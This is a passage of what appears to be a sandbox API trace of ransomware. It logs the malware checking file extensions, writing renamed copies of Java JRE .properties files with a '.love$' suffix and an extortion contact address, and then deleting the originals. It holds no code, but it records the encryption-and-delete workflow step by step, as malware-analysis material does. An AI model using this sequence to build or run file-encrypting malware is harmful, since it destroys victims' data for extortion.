[0232.098] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.098] lstrlenW (lpString=".bz2") returned 4 [0232.099] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.099] lstrlenW (lpString=".7z") returned 3 [0232.099] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0232.099] lstrlenW (lpString=".dbf") returned 4 [0232.099] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0232.099] lstrlenW (lpString=".1cd") returned 4 [0232.099] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0232.099] lstrlenW (lpString=".jpg") returned 4 [0232.099] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0232.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0232.099] lstrlenW (lpString=".doc") returned 4 [0232.099] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.099] lstrlenW (lpString=".docx") returned 5 [0232.099] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.099] lstrlenW (lpString=".pdf") returned 4 [0232.099] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.099] lstrlenW (lpString=".xls") returned 4 [0232.099] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.099] lstrlenW (lpString=".xlsx") returned 5 [0232.099] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.099] lstrlenW (lpString=".ppt") returned 4 [0232.099] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0232.099] lstrlenW (lpString=".zip") returned 4 [0232.099] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.099] lstrlenW (lpString=".rar") returned 4 [0232.099] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.099] lstrlenW (lpString=".bz2") returned 4 [0232.100] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.100] lstrlenW (lpString=".7z") returned 3 [0232.100] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0232.100] lstrlenW (lpString=".dbf") returned 4 [0232.100] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0232.100] lstrlenW (lpString=".1cd") returned 4 [0232.100] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0232.100] lstrlenW (lpString=".jpg") returned 4 [0232.100] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.100] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0232.100] lstrlenW (lpString="messages_fr.properties") returned 22 [0232.100] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0232.101] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=3409) returned 1 [0232.101] CloseHandle (hObject=0x47c) returned 1 [0232.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0232.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.101] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0232.101] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0232.102] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0232.102] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0232.102] GetLastError () returned 0x0 [0232.102] ReadFile (in: hFile=0x47c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xd51, lpOverlapped=0x0) returned 1 [0232.104] WriteFile (in: hFile=0x46c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xd60, lpOverlapped=0x0) returned 1 [0232.106] ReadFile (in: hFile=0x47c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0232.106] WriteFile (in: hFile=0x46c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x100, lpOverlapped=0x0) returned 1 [0232.106] SetEndOfFile (hFile=0x46c) returned 1 [0232.106] CloseHandle (hObject=0x46c) returned 1 [0232.106] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0232.106] SetEndOfFile (hFile=0x47c) returned 1 [0232.112] CloseHandle (hObject=0x47c) returned 1 [0232.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0232.112] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 1 [0232.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0232.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0232.156] lstrlenW (lpString=".doc") returned 4 [0232.156] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.156] lstrlenW (lpString=".docx") returned 5 [0232.156] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.156] lstrlenW (lpString=".pdf") returned 4 [0232.156] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.156] lstrlenW (lpString=".xls") returned 4 [0232.156] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.156] lstrlenW (lpString=".xlsx") returned 5 [0232.156] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.156] lstrlenW (lpString=".ppt") returned 4 [0232.156] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0232.156] lstrlenW (lpString=".zip") returned 4 [0232.156] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.156] lstrlenW (lpString=".rar") returned 4 [0232.156] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.156] lstrlenW (lpString=".bz2") returned 4 [0232.156] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.156] lstrlenW (lpString=".7z") returned 3 [0232.156] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0232.156] lstrlenW (lpString=".dbf") returned 4 [0232.156] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0232.156] lstrlenW (lpString=".1cd") returned 4 [0232.156] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0232.157] lstrlenW (lpString=".jpg") returned 4 [0232.157] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0232.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0232.157] lstrlenW (lpString=".doc") returned 4 [0232.157] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.157] lstrlenW (lpString=".docx") returned 5 [0232.157] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.157] lstrlenW (lpString=".pdf") returned 4 [0232.157] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.157] lstrlenW (lpString=".xls") returned 4 [0232.157] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.157] lstrlenW (lpString=".xlsx") returned 5 [0232.157] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.157] lstrlenW (lpString=".ppt") returned 4 [0232.157] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0232.157] lstrlenW (lpString=".zip") returned 4 [0232.157] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.157] lstrlenW (lpString=".rar") returned 4 [0232.158] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.158] lstrlenW (lpString=".bz2") returned 4 [0232.158] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.158] lstrlenW (lpString=".7z") returned 3 [0232.158] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0232.158] lstrlenW (lpString=".dbf") returned 4 [0232.158] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0232.158] lstrlenW (lpString=".1cd") returned 4 [0232.158] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties") returned 68 [0232.158] lstrlenW (lpString=".jpg") returned 4 [0232.158] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.158] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0232.158] lstrlenW (lpString="messages_it.properties") returned 22 [0232.158] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0232.302] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=3223) returned 1 [0232.302] CloseHandle (hObject=0x46c) returned 1 [0232.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0232.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.688] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0232.857] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0232.857] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0232.857] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0232.989] GetLastError () returned 0x0 [0232.989] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xc97, lpOverlapped=0x0) returned 1 [0232.991] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xca0, lpOverlapped=0x0) returned 1 [0232.992] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0232.992] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x100, lpOverlapped=0x0) returned 1 [0232.992] SetEndOfFile (hFile=0x4bc) returned 1 [0232.992] CloseHandle (hObject=0x4bc) returned 1 [0232.992] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0232.992] SetEndOfFile (hFile=0x45c) returned 1 [0232.996] CloseHandle (hObject=0x45c) returned 1 [0232.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0232.996] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 1 [0232.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0232.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0232.997] lstrlenW (lpString=".doc") returned 4 [0232.997] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.997] lstrlenW (lpString=".docx") returned 5 [0232.997] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.997] lstrlenW (lpString=".pdf") returned 4 [0232.998] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.998] lstrlenW (lpString=".xls") returned 4 [0232.998] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.998] lstrlenW (lpString=".xlsx") returned 5 [0232.998] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.998] lstrlenW (lpString=".ppt") returned 4 [0232.998] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0232.998] lstrlenW (lpString=".zip") returned 4 [0232.998] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.998] lstrlenW (lpString=".rar") returned 4 [0232.998] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.998] lstrlenW (lpString=".bz2") returned 4 [0232.998] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.998] lstrlenW (lpString=".7z") returned 3 [0232.998] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0232.998] lstrlenW (lpString=".dbf") returned 4 [0232.998] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0232.998] lstrlenW (lpString=".1cd") returned 4 [0232.998] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0232.998] lstrlenW (lpString=".jpg") returned 4 [0232.998] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0232.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0232.999] lstrlenW (lpString=".doc") returned 4 [0232.999] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.999] lstrlenW (lpString=".docx") returned 5 [0232.999] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.999] lstrlenW (lpString=".pdf") returned 4 [0232.999] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.999] lstrlenW (lpString=".xls") returned 4 [0232.999] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.999] lstrlenW (lpString=".xlsx") returned 5 [0232.999] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.999] lstrlenW (lpString=".ppt") returned 4 [0232.999] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0232.999] lstrlenW (lpString=".zip") returned 4 [0232.999] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.999] lstrlenW (lpString=".rar") returned 4 [0232.999] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.999] lstrlenW (lpString=".bz2") returned 4 [0232.999] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.999] lstrlenW (lpString=".7z") returned 3 [0232.999] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0232.999] lstrlenW (lpString=".dbf") returned 4 [0232.999] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0232.999] lstrlenW (lpString=".1cd") returned 4 [0233.000] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0233.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 68 [0233.000] lstrlenW (lpString=".jpg") returned 4 [0233.000] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0233.000] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0233.000] lstrlenW (lpString="messages_zh_HK.properties") returned 25 [0233.000] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0233.002] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=3752) returned 1 [0233.002] CloseHandle (hObject=0x45c) returned 1 [0233.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0233.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.002] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0233.002] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0233.003] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0233.003] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0233.004] GetLastError () returned 0x0 [0233.004] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xea8, lpOverlapped=0x0) returned 1 [0233.006] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xeb0, lpOverlapped=0x0) returned 1 [0233.007] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0233.007] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x106, lpOverlapped=0x0) returned 1 [0233.007] SetEndOfFile (hFile=0x4bc) returned 1 [0233.008] CloseHandle (hObject=0x4bc) returned 1 [0233.008] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0233.008] SetEndOfFile (hFile=0x45c) returned 1 [0233.011] CloseHandle (hObject=0x45c) returned 1 [0233.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0233.012] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1 [0233.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0233.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0233.013] lstrlenW (lpString=".doc") returned 4 [0233.013] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0233.013] lstrlenW (lpString=".docx") returned 5 [0233.013] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0233.013] lstrlenW (lpString=".pdf") returned 4 [0233.013] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0233.013] lstrlenW (lpString=".xls") returned 4 [0233.013] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0233.013] lstrlenW (lpString=".xlsx") returned 5 [0233.013] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0233.013] lstrlenW (lpString=".ppt") returned 4 [0233.013] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0233.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0233.013] lstrlenW (lpString=".zip") returned 4 [0233.013] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0233.013] lstrlenW (lpString=".rar") returned 4 [0233.013] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0233.014] lstrlenW (lpString=".bz2") returned 4 [0233.014] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0233.014] lstrlenW (lpString=".7z") returned 3 [0233.014] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0233.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0233.014] lstrlenW (lpString=".dbf") returned 4 [0233.014] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0233.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0233.014] lstrlenW (lpString=".1cd") returned 4 [0233.014] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0233.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0233.014] lstrlenW (lpString=".jpg") returned 4 [0233.014] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0233.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0233.014] lstrlenW (lpString="C:\\Program 